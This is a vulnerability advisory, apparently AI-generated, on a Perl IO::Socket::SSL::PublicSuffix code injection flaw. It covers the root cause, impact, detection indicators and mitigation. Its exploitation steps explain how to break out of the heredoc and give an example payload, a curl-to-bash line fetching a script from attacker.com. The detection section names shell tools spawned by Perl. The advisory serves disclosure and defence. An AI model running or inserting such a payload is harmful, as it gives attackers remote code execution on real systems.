
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-129892 is a code injection vulnerability in IO::Socket::SSL::PublicSuffix for Perl, affecting all versions through 2.099. When the update_self_from_url function rewrites the module's source file with a freshly fetched public suffix list, it fails to validate that each fetched line is a valid domain entry. A malicious line containing END_BUILTIN_DATA terminates the heredoc data block prematurely, causing all subsequent lines in the fetched list to be interpreted and executed as arbitrary Perl code. The vulnerability was disclosed on November 18, 2026, and is classified as CWE-94 (Improper Control of Generation of Code). The CVSS category estimate is HIGH; a precise numeric score had not been assigned at time of publication (GitHub Advisory, Feedly).
The root cause (CWE-94) lies in the update_self_from_url subroutine within IO::Socket::SSL::PublicSuffix.pm, which rewrites the module's own source file by appending each line fetched from a remote URL below the built-in heredoc. The code strips comment markers (//) and trailing whitespace from non-comment lines but performs no check that a line resembles a valid domain name. Because the heredoc terminator END_BUILTIN_DATA is not a comment and contains no //, it passes through unmodified and is written into the rewritten file, closing the data block. Every line fetched after it is then syntactically valid Perl and is executed whenever the module is loaded. The fix, committed by Steffen Ullrich on November 17, 2026, adds an explicit check: if any fetched line matches ^END_BUILTIN_DATA, the update process dies with "Attempt to break out of data section" (Patch Commit, GitHub Advisory). The same commit also upgrades the default fetch URL from HTTP to HTTPS (addressing the companion issue CVE-2026-129891).
Successful exploitation results in arbitrary Perl code execution within every process that loads IO::Socket::SSL, because that module unconditionally loads IO::Socket::SSL::PublicSuffix. The injected code persists in the rewritten module file and executes on every subsequent load until the module is cleanly reinstalled, giving an attacker a durable foothold on the affected system. Depending on the privileges of the process loading the module, the attacker could achieve full system compromise, exfiltrate sensitive data, install backdoors, or pivot to other systems on the network (Feedly, GitHub Advisory).
Exploitation requires two preconditions: the attacker must control the URL from which the public suffix list is fetched (either by intercepting the cleartext HTTP default URL or by supplying a malicious caller-controlled URL), and the update process must run with write access to the installed module file. As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is reported as 0.0, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities catalog (Feedly, GitHub Advisory).
IO::Socket::SSL::PublicSuffix::update_self_from_url (e.g., via a cron job or administrative script) with write access to the installed Perl module path.http://publicsuffix.org/list/effective_tld_names.dat), perform a man-in-the-middle attack on the unencrypted connection (e.g., ARP spoofing, DNS poisoning, or a rogue proxy) to serve a crafted list. Alternatively, if the caller supplies a URL parameter, compromise or spoof that endpoint.END_BUILTIN_DATA (no leading //, no trailing content that would be stripped), followed by arbitrary Perl payload lines (e.g., system("curl http://attacker.com/shell.sh | bash");).update_self_from_url call. The function fetches the crafted list, writes END_BUILTIN_DATA into the module file (closing the heredoc), and appends the Perl payload lines as executable code.IO::Socket::SSL by any process on the system, the injected Perl payload executes automatically, providing persistent remote code execution until the module is reinstalled from a clean source (Patch Commit, GitHub Advisory).PublicSuffix.pm file in the Perl library path (e.g., /usr/lib/perl5/, /usr/local/lib/perl5/, or ~/.cpan/); presence of END_BUILTIN_DATA followed by non-domain content in that file; file modification timestamp on PublicSuffix.pm coinciding with an unexpected update event.publicsuffix.org or an unexpected host on port 80 during module update; DNS queries for attacker-controlled domains from the Perl process; unexpected outbound connections (reverse shells, beaconing) originating from Perl interpreter processes.IO::Socket::SSL::PublicSuffix::update_self_from_url being called from an unexpected context or at an unusual time; Perl interpreter errors or warnings referencing PublicSuffix.pm syntax issues; web server or proxy logs showing HTTP GET requests to a public suffix list URL returning anomalously large or structured responses.bash, sh, curl, wget, python) that are children of a Perl process loading IO::Socket::SSL.Upgrade IO::Socket::SSL to a version beyond 2.099, which includes the patched PublicSuffix.pm that detects and rejects any fetched line matching ^END_BUILTIN_DATA (Patch Commit). If an immediate upgrade is not possible, restrict outbound network access from the system to the public suffix list URL, or configure the updater to use a trusted internal HTTPS mirror rather than the default HTTP endpoint. Ensure that the update_self_from_url function is only callable by trusted administrators and that the Perl module installation directory is not writable by unprivileged processes. After patching, verify the integrity of the installed PublicSuffix.pm file and reinstall it from a clean source if tampering is suspected (GitHub Advisory).
The vulnerability was assigned by CPANSec and disclosed via the oss-security mailing list shortly after the patch was committed by module author Steffen Ullrich (oss-sec post). No significant vendor statements, notable researcher commentary, or broad media coverage beyond standard vulnerability tracking sites had been observed at the time of publication.
Fix availability across major Linux distributions and their releases.
bookworm
libio-socket-ssl-perl
sid
libio-socket-ssl-perl
trixie
libio-socket-ssl-perl
bionic (esm-infra)
libio-socket-ssl-perl
devel
libio-socket-ssl-perl
focal (esm-infra)
libio-socket-ssl-perl
jammy
libio-socket-ssl-perl
noble
libio-socket-ssl-perl
resolute
libio-socket-ssl-perl
trusty (esm-infra-legacy)
libio-socket-ssl-perl
xenial (esm-infra-legacy)
libio-socket-ssl-perl
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."